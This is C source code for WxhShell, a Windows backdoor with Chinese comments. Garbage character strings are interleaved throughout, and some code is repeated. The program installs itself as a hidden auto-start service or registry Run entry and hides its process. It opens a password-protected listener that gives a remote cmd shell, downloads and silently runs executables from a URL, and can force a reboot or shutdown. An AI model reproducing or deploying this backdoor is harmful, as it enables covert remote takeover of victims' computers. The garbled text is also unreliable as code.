(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j$@tK0P `rFAZcEj% if (!NtQueryInformationProcess) return 0; mP}#Ccji? Np,2j KF( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =xl~][ if(!hProcess) return 0; 1(gfdx9|b mN}7H:, if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }vh Za p^ g1[&c+=U`P CloseHandle(hProcess); 9K"JYJ
q2 >J>V%
7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }KB[B if(hProcess==NULL) return 0; .b>TK X"*^l_9-v HMODULE hMod; X;GfPw.m char procName[255]; M<`|CVl unsigned long cbNeeded; sa#.l% # %u!XzdG if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $:vkX k
onoI&kV| CloseHandle(hProcess); Vz:_mKA tk?UX7F if(strstr(procName,"services")) return 1; // 以服务启动 >)#c\{c
CEtR[Cu return 0; // 注册表启动 <d7xt*4 } ^%[F8\}XPJ 2@i;_3sv // 主模块 +x1/-J8_sg int StartWxhshell(LPSTR lpCmdLine) 0|Ucd { $99R| ^ SOCKET wsl; ?d-70pm BOOL val=TRUE; w]!0< int port=0; "4 k-dj struct sockaddr_in door; 0i@:KYP ><Z'D if(wscfg.ws_autoins) Install(); %xlpB75N4N 1y[B[\ port=atoi(lpCmdLine); HOPqxI(k !:
us!s if(port<=0) port=wscfg.ws_port; 5K.+CO< m_lrPY- WSADATA data; Pl if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b1^cD6sT+ RU_L<Lpi if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ME+em1ZH setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TQ'E5^ door.sin_family = AF_INET; S@}4-\ door.sin_addr.s_addr = inet_addr("127.0.0.1");
*4yN3y door.sin_port = htons(port); 2$0)?ZC?= }Ik1bkK if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q,e*#oK3$ closesocket(wsl); i0Pn Z
J return 1; |B[eJq } ($d4:Ww .W.;~`EW if(listen(wsl,2) == INVALID_SOCKET) { }~I|t!GL closesocket(wsl); |*\C{b return 1; '}{?AUDx } 0HibY[_PbD Wxhshell(wsl); BQNp$]5s WSACleanup(); `,#!C`E 9 uHvaZMu return 0; bZ5n,KQA5 MCy~@)-IN } 4rp6 C/i 2P}bG>M // 以NT服务方式启动 U^$E'Q-VK VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .6 T4 z7I { uxDLDA$; DWORD status = 0; a$}6:E DWORD specificError = 0xfffffff; |uUuFm 9k>uRV6 serviceStatus.dwServiceType = SERVICE_WIN32; )I9aC~eAD serviceStatus.dwCurrentState = SERVICE_START_PENDING; ukihx?5 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r+\/G{+=} serviceStatus.dwWin32ExitCode = 0; <GfVMD serviceStatus.dwServiceSpecificExitCode = 0; a%J/0'(d serviceStatus.dwCheckPoint = 0; Y!n'" *J> serviceStatus.dwWaitHint = 0; !J^tg2M8: *cNk>y hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7),*3c ') if (hServiceStatusHandle==0) return;
GX38~pq O
E|+R4M status = GetLastError(); B,y3]
g6u if (status!=NO_ERROR) -!R
l(if { &?T ${*~ serviceStatus.dwCurrentState = SERVICE_STOPPED; gCV rC serviceStatus.dwCheckPoint = 0; 0wvU?z%WK serviceStatus.dwWaitHint = 0; JDhwN<0R serviceStatus.dwWin32ExitCode = status; 9d\N[[Vu]R serviceStatus.dwServiceSpecificExitCode = specificError; L82NP)St SetServiceStatus(hServiceStatusHandle, &serviceStatus); x#
8IZ return; [.3sE }
8 +(c 1 !-(J-45 serviceStatus.dwCurrentState = SERVICE_RUNNING; k3yxx]Rk/ serviceStatus.dwCheckPoint = 0; 4ftj>O serviceStatus.dwWaitHint = 0; zoXuFg if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >hb-5xC } v"
FO AM/lbMr // 处理NT服务事件,比如:启动、停止 FsY`nWwg VOID WINAPI NTServiceHandler(DWORD fdwControl) A- 0m8< { SLh~_ 5 switch(fdwControl) /Ynt<S9" { UK:M:9 case SERVICE_CONTROL_STOP: 0w}{(P; serviceStatus.dwWin32ExitCode = 0; ]h8/M7k serviceStatus.dwCurrentState = SERVICE_STOPPED; L>:FGNf^H serviceStatus.dwCheckPoint = 0; m X:bA5db serviceStatus.dwWaitHint = 0; "1%*'B^}bw { cYD1~JX. SetServiceStatus(hServiceStatusHandle, &serviceStatus); `~E<Sf<M } 5f3!NeI return; *a4
b case SERVICE_CONTROL_PAUSE: <PQRd serviceStatus.dwCurrentState = SERVICE_PAUSED; Y_lCcu#OA break; Wa/geQE1< case SERVICE_CONTROL_CONTINUE: mxhW|}_-j serviceStatus.dwCurrentState = SERVICE_RUNNING; OfLM break; ]+,nA R case SERVICE_CONTROL_INTERROGATE: 9OZ>y0)K~ break; )$F6 }; Dauo(Uhuo SetServiceStatus(hServiceStatusHandle, &serviceStatus); Is
kSX } b,vL8* $68 XZCx // 标准应用程序主函数 vGyppm[0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #tP )-ww { cJV!>0ua ULrbQ}"cva // 获取操作系统版本 %w@ig~vD' OsIsNt=GetOsVer(); ASM1Y]'Z GetModuleFileName(NULL,ExeFile,MAX_PATH); .lG+a!) -W6V,+of // 从命令行安装 hhj
,rcsi if(strpbrk(lpCmdLine,"iI")) Install(); J{x##p<F$ cuNq9y;[ // 下载执行文件 TP^\e_k if(wscfg.ws_downexe) { lmp
R>@o" if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =ZrjK=K WinExec(wscfg.ws_filenam,SW_HIDE); NN*Sb J0 } >oB ? :n`0)g[( if(!OsIsNt) { b@F_7P% // 如果时win9x,隐藏进程并且设置为注册表启动 <H_LFrB$W HideProc(); WMA*.$Zi StartWxhshell(lpCmdLine); `|NevpXY1 } "mG!L$ else A1 b6Zt if(StartFromService()) X)Ocn`| // 以服务方式启动 ~Gwas0eNa StartServiceCtrlDispatcher(DispatchTable); rcW#6VZ= else .Btv}b // 普通方式启动 BiI{8`M!$x StartWxhshell(lpCmdLine); GMyoSe%1/ m(h/:JZ\ return 0; /$<JCNGv } >sB=\ LsUFz_ [)bz6\d[ oRV]p =========================================== l.yJA>\24I Hv+:fr" Q0_M-^~WT !zF4 G,W FBE @pd yqC+P " ~F=#}6kg_ Ds;Rb6WcnY #include <stdio.h> uk`d,xF #include <string.h> /XbY<pj #include <windows.h> EgCp:L{ #include <winsock2.h> hE9'F(87a #include <winsvc.h> b^@`uDb6 #include <urlmon.h> cRjL3 !~Ax #pragma comment (lib, "Ws2_32.lib") |UABar b #pragma comment (lib, "urlmon.lib") av7q>NEZ!1 Vl&+/-V #define MAX_USER 100 // 最大客户端连接数 he_HVRpB #define BUF_SOCK 200 // sock buffer 0 [*nAo #define KEY_BUFF 255 // 输入 buffer -aTg>Q|g& a [0N,t #define REBOOT 0 // 重启 \>w@=bq26 #define SHUTDOWN 1 // 关机 EgkZ$ah Y^T-A}?` #define DEF_PORT 5000 // 监听端口 k?z
[hZg0 X*43!\ #define REG_LEN 16 // 注册表键长度 /QM0.{Ypl #define SVC_LEN 80 // NT服务名长度 8Q#t\$RY !tm|A`<g#< // 从dll定义API =kyJaT^5[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O[3q9*( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a-SB1-5jf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {^2({A#& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1nw$B[ iW1$!l>v // wxhshell配置信息 uQXs>JuD struct WSCFG { \5j22L9S int ws_port; // 监听端口 Q'>_59 char ws_passstr[REG_LEN]; // 口令 hCSRsk3 int ws_autoins; // 安装标记, 1=yes 0=no W ??;4 char ws_regname[REG_LEN]; // 注册表键名 2{jtQlc char ws_svcname[REG_LEN]; // 服务名 iA5*
_tK5 char ws_svcdisp[SVC_LEN]; // 服务显示名 1gf/#+$\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 w}]3jc84 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n-L]YrDPK[ int ws_downexe; // 下载执行标记, 1=yes 0=no K gR1El.r char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qu,)wfp~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dw=Xjyk?h ?w c3+?\J }; rPrEEWS0) iT)2 ?I6! // default Wxhshell configuration mmh nw(/ struct WSCFG wscfg={DEF_PORT, Q#d+IIR0gK "xuhuanlingzhe", x`/m>~_ 1, vr8J*36{ "Wxhshell", <yX@@8 "Wxhshell", q(w1VcLZ "WxhShell Service", q[Sp|C6x "Wrsky Windows CmdShell Service", Q{(,/}kA- "Please Input Your Password: ", '_Hb}'sFI 1,
b{9HooQ{ "http://www.wrsky.com/wxhshell.exe", $j$\ccG "Wxhshell.exe" XPR:_ }; [:/7OM /cn/[O9 // 消息定义模块 b[QCM/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u0(hVK`": char *msg_ws_prompt="\n\r? for help\n\r#>"; Q>#)LHX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Yg]FF`{p= char *msg_ws_ext="\n\rExit."; ;$k?&nhY char *msg_ws_end="\n\rQuit."; [57V8% char *msg_ws_boot="\n\rReboot..."; }(f,~?CP] char *msg_ws_poff="\n\rShutdown..."; $u0+29T2O char *msg_ws_down="\n\rSave to "; &B{Jxc`VA FW6E)df char *msg_ws_err="\n\rErr!"; f%(e,KgW= char *msg_ws_ok="\n\rOK!"; \?p9qR;"4 yE!7`c.[u char ExeFile[MAX_PATH]; Xs#?~~"aC int nUser = 0; q]wn:%rX HANDLE handles[MAX_USER]; D7n&9Z int OsIsNt; QWIOim- HY%6eUhj SERVICE_STATUS serviceStatus; Z7k1fv:S^ SERVICE_STATUS_HANDLE hServiceStatusHandle; ~Krg8s!F& WZDokSR // 函数声明 Z_hBd['! int Install(void); 2#Q"@ int Uninstall(void); l[!C-Tq int DownloadFile(char *sURL, SOCKET wsh); NjCLL`?f int Boot(int flag); FSXKH {Z void HideProc(void); &p(*i@Ms int GetOsVer(void); 5y
'ycTjY int Wxhshell(SOCKET wsl); oM?
C62g\ void TalkWithClient(void *cs); Fg}5V, int CmdShell(SOCKET sock); FB^dp} int StartFromService(void); {0m[:af& int StartWxhshell(LPSTR lpCmdLine); E<fwl1<88 n"Z,-./m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?\/dfK:! VOID WINAPI NTServiceHandler( DWORD fdwControl ); [{d[f| -
KoA[UJ // 数据结构和表定义 VG*=)8{ SERVICE_TABLE_ENTRY DispatchTable[] = [fJFH^&?hr { VS@rM<K{ {wscfg.ws_svcname, NTServiceMain}, 85d7IB{28 {NULL, NULL} pCud`
:o" }; ZLFdnC@ J{'zkR?Lr // 自我安装 $=6kh+n@ int Install(void) z2EI"'4\9 { c]/O^/ char svExeFile[MAX_PATH]; tMs|UC HKEY key; WZy6K(18"' strcpy(svExeFile,ExeFile); e]L3=R; ]jT[dX|? // 如果是win9x系统,修改注册表设为自启动 L-oPb) if(!OsIsNt) { |^&2zyUj/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XP
Iu]F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +~v3D^L15 RegCloseKey(key); .L5T4) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D}
<o<Dk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); crOtQ RegCloseKey(key); 2%No>w}/2 return 0; ]nr
BmKB } t$kf'An}/ } xhoLQD } H2tpP~!G else { oXZ@* &rtz&}ZB; // 如果是NT以上系统,安装为系统服务 A`ertSlbhe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N*4IxY'vX/ if (schSCManager!=0) uq1(yyWp( { }A&Xxh!Fwo SC_HANDLE schService = CreateService vpr@ ( OuJy$e schSCManager, "%@=?X8 wscfg.ws_svcname, GlkAJe] wscfg.ws_svcdisp, pU)3*9?cIl SERVICE_ALL_ACCESS, !j\&BAxTEk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {bsr
9.k( SERVICE_AUTO_START, H_nOE(i<z SERVICE_ERROR_NORMAL, sp]y! zb"5 svExeFile, %X-&yGY NULL, SoON@h/ NULL, /3:IE%o NULL, YdL1(|EdM NULL, ,EJ [I^ NULL DD{@lM\vc ); )<&CnK if (schService!=0) '~x_ { {
'mY>s7 CloseServiceHandle(schService); )-Sl/G CloseServiceHandle(schSCManager); vkauX:M strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7-0twq
strcat(svExeFile,wscfg.ws_svcname); o9SfWErZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b}{9
:n/SC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >|&OcU RegCloseKey(key); u$`x]K=Zsm return 0; Mm[1Z;H } |\L,r}1N } U3iyuE CloseServiceHandle(schSCManager); ng)yCa_Ny } [g
68O* } K#pt8Q %!/liS return 1; ve/6-J!5Y. } aRb:.\ \zc vWfef~}~ // 自我卸载 B(T4nH_k int Uninstall(void) xg%]\# { TKutO0 HKEY key; {_gj>n (1 G5@fqh6ws if(!OsIsNt) { /P:WQ* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ku\#Wj|YrP RegDeleteValue(key,wscfg.ws_regname); J+*Y)k RegCloseKey(key); ^*~u4app if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _EBDv0s RegDeleteValue(key,wscfg.ws_regname); lkJ#$Ik& RegCloseKey(key); Vy"^]5 return 0; !(AFT! } MvwJ(3 } K OHH74}_ } 5v-;* else { OM C|.[ Kpbber SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @<{#v.T if (schSCManager!=0) wI]>0geb* { hp%Pg & SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lcJumV=%> if (schService!=0) +OP:"Q_# { ,]N%(>ot if(DeleteService(schService)!=0) { >knR>96 CloseServiceHandle(schService); G:s:NXy^ CloseServiceHandle(schSCManager); jWmBUHCb return 0; >$9yQ9&| } %l P CloseServiceHandle(schService); @Sd:]h:f- } 4 sgwQ$m) CloseServiceHandle(schSCManager); u:kY4T+Z } k EDZqUD } L|'ME|
' 9&FV=}MO return 1; ,TA[el%# } j`pR;XL1[ i*E`<9 // 从指定url下载文件 ee?ZkU#@ int DownloadFile(char *sURL, SOCKET wsh) %* ;
8m' { c|a|z}(/J HRESULT hr; `lOoT char seps[]= "/"; Xr;noV-X char *token; -H;y_^2 char *file; h>Pg:*N,( char myURL[MAX_PATH]; $
T_EsnN char myFILE[MAX_PATH]; { qx,X.5$ eBKIdR%k strcpy(myURL,sURL); ;5_S token=strtok(myURL,seps); wx'Tv while(token!=NULL) ty=?SZF { 2g545r. file=token; \<>%_y'/)h token=strtok(NULL,seps); a<36`#N } z=pV{' .T
X& X GetCurrentDirectory(MAX_PATH,myFILE); oh)l\ strcat(myFILE, "\\"); UAO#$o( strcat(myFILE, file); oU5mrS.7M! send(wsh,myFILE,strlen(myFILE),0); E cz"O
send(wsh,"...",3,0); \+A<s,x hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EqluxD= if(hr==S_OK) T#f@8 -XUE return 0; LP_F"?4 else @]3Rw[%z return 1; e)(| J8DbAB4X } 8dB~09Z7 F}[;ytmUS // 系统电源模块 0)44*T int Boot(int flag) K0@7/*% { Br!&Y9 HANDLE hToken; JH;DVPX9z TOKEN_PRIVILEGES tkp; <\mc|p" _Q}z 6+_\ if(OsIsNt) { |O2PcYNu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }d]8fHG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M.Ik%nN#K0 tkp.PrivilegeCount = 1; /Q_\h+` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N^N?!I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a~"X.xT\R if(flag==REBOOT) { 0-HE, lv if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9F4|T7? return 0; 3NWAyCq- } 21 j+c{O else { ;~;St>?\R\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g7F
Z - return 0; `:4cb$ } ijYLf.R< } v a;wQ~& else { qZ}XjL if(flag==REBOOT) { N|LVLsK if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NR@Tj]`k return 0; uHCgIR
l> } t}gqk' else { R<Tzt'z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~MOCr return 0; k 'b|#c9c } :i$Z } Fgk/Ph3r %"2B1^o> return 1; lhTbg M } _F EF+I uSjMqfK // win9x进程隐藏模块 X_F= ;XF/ void HideProc(void) e{:qW'% { S8,06/# 2[hl^f^%, HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OpE+e4~IF if ( hKernel != NULL ) (?[cDw/{J: { '3->G/Pu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N~d]}J8}gx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P|U>(9;P, FreeLibrary(hKernel); U?{j } O=/Tx2i; )Cl&"bX return; Vba}RF[b } }D O# {@af 0iHI"9z // 获取操作系统版本 5ntP{p%> int GetOsVer(void) zL'n
J { k5YDqGn'q OSVERSIONINFO winfo; W=m_G]"L winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fu/CX4R_| GetVersionEx(&winfo); ;|y,bo@sJJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \tqAv'jA| return 1; $u
sU else xWm'E2 return 0; VJaL$Wv)H } \zwb> ^ L\[jafb_` // 客户端句柄模块 ~^*tIIOX int Wxhshell(SOCKET wsl) th)jEK;Z { {xX|5/z SOCKET wsh; z-j \S7F struct sockaddr_in client; `39U I7 DWORD myID; O.dNhd$ /'(P{O>{j while(nUser<MAX_USER) E=d[pI,e { HPQ ,tlp6j int nSize=sizeof(client); Me>'QVr wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4E)[<% if(wsh==INVALID_SOCKET) return 1; $;1~JOZh 9[*kpMC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0^4*[?l9q if(handles[nUser]==0) D 4wB
&~U closesocket(wsh); 2H#vA else /MC\!,K nUser++; tWFJx}H } "$&F]0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8] *{i ? 6l::M return 0; :jPAA`, } ajAEGD2Zq r.GjM#X // 关闭 socket wF(FV4#gs void CloseIt(SOCKET wsh) lI 8"o>-~ { mx yT==E closesocket(wsh); /Kvb$]F+! nUser--; K&*FI (a ExitThread(0); 1jyWP#M# } r4s R5p]| u$"5SGI6 // 客户端请求句柄 s"/8h#!zv void TalkWithClient(void *cs) eD3F%wxz { A@]
n" pLU>vQA SOCKET wsh=(SOCKET)cs; F\e'z char pwd[SVC_LEN]; QbWD&8T0O char cmd[KEY_BUFF]; L[K_!^MZ char chr[1]; ){}#v& int i,j; n7G$gLX d~8Q)"6 [ while (nUser < MAX_USER) { [I9d }bVyvH if(wscfg.ws_passstr) { SZPu"O\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?r+tU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9HE)!Col //ZeroMemory(pwd,KEY_BUFF); SYL$?kl i=0; UnPSJ]VW while(i<SVC_LEN) { "J9+~)e^! K^S#?T|[9 // 设置超时 'a}{s>{O fd_set FdRead; Oq("E(z+f struct timeval TimeOut; 7\xa_nrI FD_ZERO(&FdRead); +*dJddz FD_SET(wsh,&FdRead); HUJ $e2[ TimeOut.tv_sec=8; yZ{YIy~ TimeOut.tv_usec=0; 7~',q"4P/_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }?JO[Q + if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q pX@;j YpL}R# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xR.Ql> pwd=chr[0]; ?|33Np) if(chr[0]==0xd || chr[0]==0xa) { ~-6;h.x= pwd=0; E(oNS\4 break; `u U@( } }&j&T9oX i++; zehF/HBzE } m^7pbJ\| 7 mN?;X33 // 如果是非法用户,关闭 socket 2'_sGAH if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rq*m x<HDX } qfu;X-$4 ,rd+ dN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'e*C^(6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >i~c>+R 0kkiS3T while(1) { _D:/?=y;e 5v3B8 @CsA ZeroMemory(cmd,KEY_BUFF); n RGH58 $` // 自动支持客户端 telnet标准 >C i=H(8vN j=0; mF1oY[xa_ while(j<KEY_BUFF) { &ke4":7X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^2=zp.) cmd[j]=chr[0]; Gd"*mLd if(chr[0]==0xa || chr[0]==0xd) { k5($b{ cmd[j]=0; *<@ break; QZ6M,\ } 8_lD*bEt j++; 4MIVlg9 } x83XJFPWL (ZnA#% // 下载文件 5&>(|Y~I if(strstr(cmd,"http://")) { 82<L07fB send(wsh,msg_ws_down,strlen(msg_ws_down),0); hYV{N7$U| if(DownloadFile(cmd,wsh)) Cfj*[i4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?`vb\K<5H; else wFvilF
V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +k>v^sz } ~`BOzP else { Y/+ D4^L
p.%$ switch(cmd[0]) { D >mLSh ;f><;X~KX // 帮助 *0U(nCT&m case '?': { U +]ab send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |Mh;k6 break; i ]_fh C } a'\`Mi@rb // 安装 QV't+)uUVo case 'i': { y`BLIEI if(Install()) ``SjALf send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Ct m({I- else E,r PM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )#Id2b~ break; YMWy5 \ } h {m]n! // 卸载 pM=vW{"I/ case 'r': { &F:7U! if(Uninstall()) f`c z@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); gR6:J else AT%0i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nwc(< break; ]}B&-Yp } D(&OyZ~Q+ // 显示 wxhshell 所在路径 j)uIe)wZw case 'p': { l}wBthwCc char svExeFile[MAX_PATH]; jfWIPN strcpy(svExeFile,"\n\r"); pZR^ HOq strcat(svExeFile,ExeFile); }'{(rU send(wsh,svExeFile,strlen(svExeFile),0); |QY+vO7fxj break; OT [t
EqQ } /i"EVN`t // 重启 sq^,l6es> case 'b': { bw4b'9cK send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0'~?u ' if(Boot(REBOOT)) M$GD8|*e send(wsh,msg_ws_err,strlen(msg_ws_err),0); wD<G+Y} else { P8EGd}2{8 closesocket(wsh); &Jn%2[; ExitThread(0); ]_Qc}pMF& } YlA=?
X break; Bm?Ku7}. } 9qPP{K,Pq2 // 关机 +]{X-R case 'd': { C
}[u[) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EKt-C_)U if(Boot(SHUTDOWN)) eDm,8Se send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]gEfm~YV else { zbnQCLs closesocket(wsh); A(uN=r@O ExitThread(0); <L`R!} } OJK/> break; +VeLd+Q} } [L275]4n!] // 获取shell $p0s case 's': { NUU}8a(K CmdShell(wsh); 9O)>>1}*S closesocket(wsh); 3aOFpCs|# ExitThread(0); oM VJ+#[x break; =FKB)#N } -(2-zznZ // 退出 AE$)RhY` case 'x': { upJishy&I send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 51&T`i CloseIt(wsh); f8j^a?d| break; Glwpu-@X } {Xp.}c // 离开 ?-VN+
d7 case 'q': { <Du*Re6g send(wsh,msg_ws_end,strlen(msg_ws_end),0); VMHY.Rf closesocket(wsh); 94R+S-|P WSACleanup(); $DVy$)a!u exit(1); Yv;aQF"a break; -lp_~)j^ } [ M'1aBx^ } 8sg *qQ } wVvU]UT &yN<@. // 提示信息 r
{8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I|M*yObl6 } >!2'|y^ } ZQ:Y5ph 7-LeJRB return; ]+Vcu zq/ } Pv'x|p* Mc8^{br61 // shell模块句柄 k (R4-"@ int CmdShell(SOCKET sock) `MD/CFl4 { Z/x1?{z STARTUPINFO si; 9D<HJ( ZeroMemory(&si,sizeof(si)); <uvshZv si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }8SHw|- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jyC6:BNust PROCESS_INFORMATION ProcessInfo; $X?V_K;9/ char cmdline[]="cmd"; @|@43}M]C- CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t|q=NK/ return 0;
c[I,Sveq } e'6?iLpy ..t=Y# // 自身启动模式 8a h]D int StartFromService(void) r:IU+3 { n&fV3[m`2 typedef struct a$GKrc,z { cwroG#jGT DWORD ExitStatus; m|k,8guG DWORD PebBaseAddress; 7Av]f3Zr DWORD AffinityMask; 4Y2>w DWORD BasePriority; `zL9dlZ ULONG UniqueProcessId; J]UHq$B ULONG InheritedFromUniqueProcessId; pI`Ke" } PROCESS_BASIC_INFORMATION; ,?qS#B+> "xOeBNRjV PROCNTQSIP NtQueryInformationProcess; VX%+!6+fS L:<'TXsRA static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ke0W? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D8ly8]H .EdV36$n HANDLE hProcess; _=MWt_A '3 PROCESS_BASIC_INFORMATION pbi; H,}?YW wB^a1=C HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PjHm#a3zg% if(NULL == hInst ) return 0; e#('`vGB N9Ml&*%oX{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [h1{{Nb#ez g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?]z
._I`E NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R<=t{vTJ5 &<V~s/n=6? if (!NtQueryInformationProcess) return 0; 4!jHZ<2Z ($s{em4L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }dz(DPd if(!hProcess) return 0; ;W].j%]Le k-U/x"Pl if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NEk [0 =FnZk J CloseHandle(hProcess); Jj " {r{ #t
O!3= 0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); | QA8"&r if(hProcess==NULL) return 0; cF2/}m] H
#BgE29 HMODULE hMod; =X*E(.6Ip char procName[255]; Fo#*_y5\ unsigned long cbNeeded; b ~gF,^w .kIf1-(<U if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xh0A2bw'OP s__g*%@B
